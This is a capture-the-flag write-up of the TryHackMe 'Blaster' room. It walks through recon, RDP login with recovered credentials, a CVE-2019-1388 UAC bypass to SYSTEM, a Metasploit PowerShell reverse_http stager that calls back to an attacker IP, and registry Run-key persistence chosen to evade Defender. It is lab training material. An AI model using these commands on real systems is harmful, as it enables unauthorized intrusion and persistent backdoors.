

BLASTER

Penetration Test Recap

ATTACK CHAIN

01. Reconnaissance
02. Web Enumeration
03. Initial Access (RDP)
04. Privilege Escalation - CVE-2019-1388
05. Meterpreter via web_delivery
06. Persistence

Target Information

Target IP	10.80.169.136 (multiple resets during engagement)
OS	Microsoft Windows Server 2016 (Build 14393)
Hostname	RETROWEB
Vulnerable Service	Microsoft IIS 10.0 (web disclosure) + Local UAC bypass
CVE	CVE-2019-1388 — Windows Certificate Dialog UAC Bypass
Attacker IP (tun0)	192.168.234.216
Credentials Recovered	Wade : parzival

Phase 1 — Reconnaissance

Initial port scan to identify services. The target blocked ICMP, so -Pn was required to skip host discovery.

```
$ nmap -Pn -sV -T4 10.80.169.136
```

Port	Service	Notes
80/tcp	Microsoft IIS 10.0	Default page — hidden content suspected
3389/tcp	ms-wbt-server (RDP)	Remote desktop — primary access vector

Phase 2 — Web Enumeration

Default IIS landing page returned HTTP 200, indicating a live server with no indexed content. Directory fuzzing was attempted with three tools before the directory was deduced from the room's retro theme.

```
$ gobuster dir -u http://TARGET -w common.txt -t 1 --timeout 60s --no-error
$ ffuf -u http://TARGET/FUZZ -w small.txt -t 1 -timeout 3
$ curl http://TARGET/retro
```

Result: Hidden directory /retro hosted a retro-gaming blog. A post by user **Wade** referenced trouble typing his favourite character's avatar name when logging in — a direct hint at *Ready Player One*. Wade's avatar in the novel is **Parzival**, giving the credential pair Wade : parzival.

Phase 3 — Initial Access (RDP)

Connected to port 3389 using the recovered credentials. Stability flags were required due to high latency from the double-VPN setup.

```
$ xfreerdp /u:Wade /p:parzival /v:10.80.169.136 /cert:ignore /timeout:80000 /network:modem
```

Landed on the desktop as retroweb\wade. User flag (user.txt) read from Wade's desktop.

Phase 4 — Privilege Escalation · CVE-2019-1388

An executable hhupd.exe was found on Wade's desktop — the artefact of prior research on **CVE-2019-1388**, a UAC bypass in the Windows Certificate Dialog. The HTML Help Update binary, when triggered by a standard user, opens a UAC prompt whose certificate details hyperlink launches Internet Explorer running as **NT AUTHORITY\SYSTEM**.

#	Step
1	Right-click hhupd.exe → Run as administrator → UAC prompt appears
2	Click "Show more details" → click the "Issued by: Microsoft..." hyperlink
3	Internet Explorer launches as NT AUTHORITY\SYSTEM
4	Press Ctrl+S in IE → Save As dialog opens
5	In filename box, type C:\Windows\System32\cmd.exe → Enter
6	SYSTEM-level cmd.exe spawns

Verify access and read root flag:

```
$ whoami
$ type C:\Users\Administrator\Desktop\root.txt
```

Result: nt authority\system confirmed. Root flag: **THM{COIN_OPERATED_EXPLOITATION}**

Phase 5 — Post-Exploitation (Metasploit web_delivery)

Upgraded the SYSTEM cmd.exe to a full Meterpreter session using the PowerShell-based web_delivery module — chosen because Windows Defender was active and would flag a dropped binary.

```
$ msfconsole
$ use exploit/multi/script/web_delivery
$ set target 2 # PSH (PowerShell)
$ set payload windows/meterpreter/reverse_http
$ set lhost 192.168.234.216 ; set SRVPORT 8081 ; run -j
```

Metasploit generated a base64-encoded PowerShell stager — pasted into the SYSTEM cmd.exe on the target, which then beamed back over HTTP and spawned **Meterpreter session 1** as NT AUTHORITY\SYSTEM.

Phase 6 — Persistence

Installed a reboot-resistant backdoor using the modern persistence module. A VBS payload was written to C:\Windows\TEMP\ and registered under the HKCU Run registry key — the machine will now beacon back automatically on every boot.

```
$ run persistence -X # legacy syntax (room's expected answer)
$ background ; use exploit/windows/local/persistence
$ set session 1 ; set startup REGISTRY ; run
```

Incident Report — Problems & Resolutions

Problem 1: OpenVPN TLS handshake failed within 60 seconds

Problem: Tunnel connected to the remote endpoint but consistently failed during TLS negotiation, looping with *TLS handshake failed*.

Resolution: ISP was blocking outbound UDP 1194. Switched to Squawker VPN with Proton VPN underneath for traffic obfuscation, bypassing the carrier-level filter.

Problem 2: nmap reported "Host seems down"

Problem: Default scan failed because Windows blocked ICMP echo replies, so nmap skipped the host.

Resolution: Added `-Pn` to bypass the ping check — nmap itself suggested this fix in its output.

```
$ nmap -Pn -sV -T4 10.80.169.136
```

Problem 3: gobuster / dirb / ffuf all timed out on every word

Problem: All three directory fuzzers returned *timeout occurred during the request* for every word. Dirb ran for 40 minutes and returned 0 results.

Resolution: Root cause was the double-VPN (Proton + OpenVPN) introducing heavy latency, plus the IIS server being slow under concurrent load. Reduced to 1 thread, raised timeout to 60s, added `--no-error`, and ultimately deduced `/retro` from the room's theme.

Problem 4: xfreerdp sessions dropping mid-exploit

Problem: RDP — being latency-sensitive — repeatedly disconnected while navigating the CVE-2019-1388 UI exploit, forcing several restarts.

Resolution: Added `/cert:ignore /timeout:80000 /network:modem` to reduce bandwidth and extend timeouts. Worked through exploit steps quickly between drops.

```
$ xfreerdp /u:Wade /p:parzival /v:TARGET /cert:ignore /timeout:80000 /network:modem
```

Problem 5: Exploit produced cmd.exe as Wade, not SYSTEM

Problem: First exploit attempt opened cmd.exe but `whoami` returned `retroweb\wade` instead of SYSTEM.

Resolution: The cmd.exe was opened from Windows Explorer (running as Wade), inheriting Wade's privileges instead of IE's SYSTEM context. Re-ran the exploit and opened cmd.exe directly from *inside* the IE Save As dialog by typing the full path in the filename box.

Problem 6: Metasploit web_delivery — Address already in use

Problem: `run -j` failed with *Rex::BindFailed: 0.0.0.0:8080 already in use*.

Resolution: Another process held the default Metasploit SRVPORT. Changed to a free port.

```
$ set SRVPORT 8081
```

Key Lessons Learned

- **Read the error message before searching for a fix.** Tools like nmap, gobuster and Metasploit print the solution inside the failure — *try -Pn, address already in use, use exploit/windows/local/persistence*. The fix is usually one line below the error.
- **Theme is a wordlist.** Automated fuzzers never found `/retro`, but the room's name and default IIS page made the directory guessable. CTF and real engagements both reward lateral thinking.
- **Privilege follows the parent process.** The same `cmd.exe` ran as `Wade` or as `SYSTEM` depending on which process spawned it. UAC bypasses like CVE-2019-1388 abuse exactly this hierarchy.
- **Match payload to what the target can run.** `reverse_http` over PowerShell evaded Defender; a dropped binary would not have. Target selection (PSH) and payload selection must match the victim environment.
- **Persistence requires environmental friction tolerance.** Dropped RDP sessions, double-VPN slowness, and timeouts were not exploit failures — they were operational reality. The technique worked from attempt one; the infrastructure was what needed to be wrestled with.

Summary

Objective	Result
Vulnerability Discovery	IIS web server + hidden <code>/retro</code> directory enumerated
Credentials Obtained	Wade : parzival (from blog post OSINT)
Initial Access	RDP — <code>retroweb\wade</code>
Privilege Escalation	CVE-2019-1388 UAC bypass via <code>hhupd.exe</code>
Privilege Level	NT AUTHORITY\SYSTEM
Post-Exploitation	Meterpreter via <code>web_delivery</code> (PowerShell stager)
Persistence	VBS payload registered under <code>HKCU\...\Run</code>
Flags Captured	<code>user.txt</code> + <code>THM{COIN_OPERATED_EXPLOITATION}</code>
Room Status	COMPLETE

TryHackMe — Blaster Room · Completed by Salah · Penetration Test Recap